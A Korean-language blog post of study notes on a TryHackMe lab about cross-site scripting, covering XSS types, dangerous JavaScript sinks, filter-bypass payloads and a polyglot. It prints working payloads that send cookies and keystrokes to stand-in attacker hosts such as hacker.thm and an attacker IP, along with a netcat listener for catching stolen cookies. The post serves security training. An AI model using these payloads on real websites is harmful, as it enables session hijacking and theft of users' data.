Jr Penetration Tester > Introduction to Web Hacking > Intro to Cross-site Scripting
클라이언트-서버 요청, 응답에 대한 기본 이해가 있으면 좋을 것이라고 한다. 개인적으론 이론상으로 계속 공부를 해와서 큰 어려움은 없었다. DOM based XSS가 여전히 잘 이해가 안가긴 하지만..
XSS는 악의적인 자바 스크립트 코드가 해커에 의해 웹앱으로 삽입되는 공격을 말한다. 해당 강의에서는 어떻게 XSS 페이로드를 만들고, 페이로드를 수정하고, 이에 대해 실습하는 시간을 가질 예정이다.
페이로드(Payload) : 타겟 컴퓨터에서 실행하고자 하는 자바스크립트 코드
이때 페이로드에는 두가지가 부분이 존재하는데, 하나는 intention, 하나는 modification이다.
intention: 자바스크립트가 했으면 하는 것, 목적, 의도
modification: 모든 시나리오가 다를 수 있으니 이를 실행하기 위한 changes를 의미함
Proof Of Concept
가장 기본적인 공격법. alert box를 팝업으로 띄우면서 보이게 함
<script>alert('XSS');</script>
Session Stealing
로그인 토큰 같은 유저 세션은 target machine에 쿠키로 저장되어 있음. base64 인코딩으로 전송하고, 해커가 로그인할 수 있게 함. 해커가 이 쿠키를 획득하면, 타겟 세션으로.. 로그인할 수 있는
cookie=' + btoa(document.cookie));</script>
Key Logger
웹페이지에서 입력하는걸 해커도 알 수 있음..
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}
Business Logic
특정한 네트워크 리소스나 자바스크립트 기능을 call하는, 예를 들어서 사용자 이메일 주소 변경하는 자바스크립트 기능이 user.changeEmail()이라고 하면
<script>user.changeEmail('attacker@hacker.thm');</script>
Reflected XSS
any validation 없는 웹페이지 소스에 HTTP 요청의 user-supplied data 포함
예를 들어 다음과 같이 error 메시지가 표출되는 파라미터가 있다고 가정하자. https://secu[.]thm/?error=Invalid%20input
이렇게 악용 가능 ?error="<script src="https://attacker.thm/evil.js"></script>
세션이나 사용자 정보 유출을 위해서 자바스크립트 페이로드를 포함해 iframe에 삽입하거나 링크에 삽입함.
Stored XSS
웹앱 DB에 저장된 형태로, 예를 들어 게시글 댓글을 남길 수 있는데 입력값 검증을 하지 않아 악의적인 자바스크립트 삽입이 가능할 때
DOM Based XSS
Document Object Model,
DOM Based XSS는 자바스크립트 실행이 브라우저에서 즉시 실행되는 공격이다. 어떤 새로운 페이지가 로딩된다거나 백앤드에 데이터를 보내야하는 과정 필요 없이. Execution은 웹페이지의 자바스크립트 코드에 삽입되거나 user interaction 시.. 진행됨
예) window.location.hash 파라미터를 입력하는 상황에서.. 입력값 검증을 안하는 경우
window.location.x 파라미터 같은 것들.. 공부 하기
해당 값들이 웹페이지 DOM에 쓰이거나 eval() 같은 취약한 JavaScript 함수에 전달되는지 확인해야 함
- eval()
- document.write()
- innerHTML
- setTimeout() / setInterval() (문자열 인자로 실행 시)
- Function() 생성자
- location.href, location.assign() (데이터 기반 이동)
- window.open() (피싱 등으로 활용)
이런 함수들에 사용자 입력값이 직접 들어가는 경우, DOM 기반 XSS나 Reflected XSS로 이어질 수 있게됨
Blind XSS
Stored XSS과 유사하다. 대신 Blind XSS는 이 페이로드가 working 하는 것들 볼 수 없음.
Blind XSS 취약점 테스트시에는 공격자 payload가 call back (usually HTTP request)이 있다는 것을 알아두어야 한다. (내 코드가 실행되면 알 수 있다?)
대표적인 Blind XSS 툴은 Hunter Express다. 자바스크립트에서 own tool을 만들 수도 있지만 자동으로 쿠키, url, page content를 capture할 수 있음
실습
Level 1:
Level2: "><script>alert('THM');</script> 해당 팝업
"> value parameter를 닫아주는.. input tag
Level3: textarea
Level 4: level1과 유사하나 you'll see your name gets reflected in some JavaScript code. ';alert('THM');// (명령어를 추가하고, 뒤에 comment 주석처리)
Level 5: <script>alert('THM');</script>를 입력했을 때 script에 필터링이 걸리는 것을 알 수 있음
script라는 단어를 필터링 하는거라 다음과 같이 입력하면 우회가 가능해진다
<sscriptcript>alert('THM');</sscriptcript>
Level 6:
<script>alert('THM');</script>를 입력하면 <>를 필터링 한 것을 확인할 수 있다. img 태그를 벗어날 수가 없음. 이때 onload 이벤트를 이용할 수 있다. src 속성에 지정된 이미지가 웹페이지에 로드되면, 내가 원하는 코드를 실행할 수 있음
onload: onload는 HTML 요소가 완전히 로드되었을 때 실행되는 JavaScript 이벤트로, 주로 <img>, <body>, <iframe> 등의 태그에서 사용되며, 이미지나 페이지, 프레임이 로딩되었는지를 감지해서 동작한다.
<img src="valid.jpg" onload="alert('XSS!')">
이외에도 다른 핸들러 목록이 있음
onerror | 요소 로딩 실패 시 실행됨 (주로 <img src=x onerror=...>에서 사용) |
onclick | 요소 클릭 시 실행됨 |
onmouseover | 마우스 오버 시 실행됨 |
onfocus | 요소에 포커스가 맞춰졌을 때 실행됨 |
onmouseenter | 마우스 커서가 요소 위로 처음 진입할 때 실행 |
onkeydown | 키보드를 눌렀을 때 실행 |
oninput | 입력값 변경 시 실행 |
onsubmit | 폼이 제출될 때 실행 |
onload | 요소 로드 시 실행 (위에서 설명) |
XSS Polyglot
다양한 HTML 컨텍스트(태그 안, 속성 안, JavaScript 안 등)에서 동시에 동작할 수 있도록 만든 복합적인 XSS 페이로드,
태그 탈출 (예: </script>, </style> 등), 속성 우회 (예: onload, onerror), 필터 우회 (예: %0D%0A, \x3c 등)를 모두 한 번에 가능할 수 있게 만듦 (멀티형 페이로드)
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
부분 | 설명 |
jaVasCript: | 대소문자 혼용으로 필터 우회 (javascript: URL 프로토콜) |
/*-/*\... | 주석(/* */)과 특수문자, 문자열 리터럴 등을 통해 필터와 파서를 혼란시킴 |
onerror=alert('THM') | 이벤트 핸들러를 통한 실행 트리거 |
%0D%0A | URL 인코딩된 줄바꿈 문자 (브라우저 파서 구분 우회) |
</style>, </title> 등 | 다양한 태그 컨텍스트 종료 시도 |
\x3c | <의 16진수 인코딩 (<svg> 시작을 우회 형태로 삽입) |
<svg onload=alert('THM')> | 실제로 작동되는 페이로드 실행부 |
svg: 벡터 이미지를 XML 형식으로 표현하는 이미지 포맷
Blind XXS 실습
create ticket 버튼을 통해서 ticket을 생성할 수 있다.
ticket에 적은 text는 textarea에 저장되어 있는 것을 확인했다.
두번째 티켓을 </textarea>로 끝내고, 그 뒤에 test 텍스트를 입력해봤는데
다음과 같이 textarea 다음에 test가 온 것을 확인할 수 있다 (우회가 됨)
<textarea> 바깥에 뭔가를 쓸 수 있으니, 이번에는 <script>로 alert 함수를 사용했다. > 역시나 alert이 제대로 실행된다.
해당 실습에서는 이 기능이 customer support 카테고리라 직원도 해당 티켓을 열람할 가능성이 높으니, javascript코드가 직원의 쿠키 정보를 (로그인 세션을) 탈취해서 권한 상승 공격에 활용해보라고 하고 있다.
이때 방법은 페이로드가 사용자 쿠키를 추춘해서 -> 설정한 다른 웹서버로 전송해야 하기 때문에
이 정보를 받을 리스닝 서버를 하나 구동해야 한다고 한다.
리스닝 서버는 전에 파이썬 서버 열어둔 것처럼 해도 되고.. (python3 -m http.server 8000)
넷캣으로 해도 된다 (nc -lvnp 9000)
실습에선 netcat으로 진행했다.
제일 자주 쓰이는 nc 옵션
-n | DNS 해석 안함 (숫자 IP만 사용) |
-l | 리스닝 모드로 작동 |
-v | 상세 출력 (에러 메시지 보기 쉬움) |
-p | 포트 번호 지정 |
해당 실습에서 사용된 공격 페이로드는 다음과 같다
</textarea><script>
fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie));
</script>
코드 | 설명 |
</textarea> | 사용자가 입력하는 textarea 태그를 닫아버림 → 이후에 JavaScript를 삽입하기 위함 |
<script> | 스크립트 태그 시작 – 자바스크립트 코드 실행 가능 |
fetch(...) | 웹서버로 HTTP 요청을 보냄 (exfiltration 용도) |
'http://URL_OR_IP:PORT_NUMBER?...' | 공격자의 IP 주소와 포트 번호를 입력 (ex. http://10.10.228.233:9001) |
?cookie= | 쿼리스트링 형태로 데이터 전송 (?key=value) |
btoa(document.cookie) | document.cookie를 가져와서 Base64로 인코딩 (btoa() 함수 사용, 반대는 atob) |
</script> | 스크립트 태그 종료 |
명령어를 실행해보니,, 터미널에 다음과 같이 cookie 값이 받아진 것을 확인할 수 있다
nc을 좀 더 공부하면 좋겠다.
'CTF, 워게임 문제 풀이 > Try Hack Me' 카테고리의 다른 글
THM: Race Conditions (0) | 2025.06.11 |
---|---|
THM: Intro to SSRF (0) | 2025.06.08 |
THM: File Inclusion (0) | 2025.06.07 |
THM: IDOR (0) | 2025.06.05 |
THM: Authentication Bypass (0) | 2025.06.03 |
댓글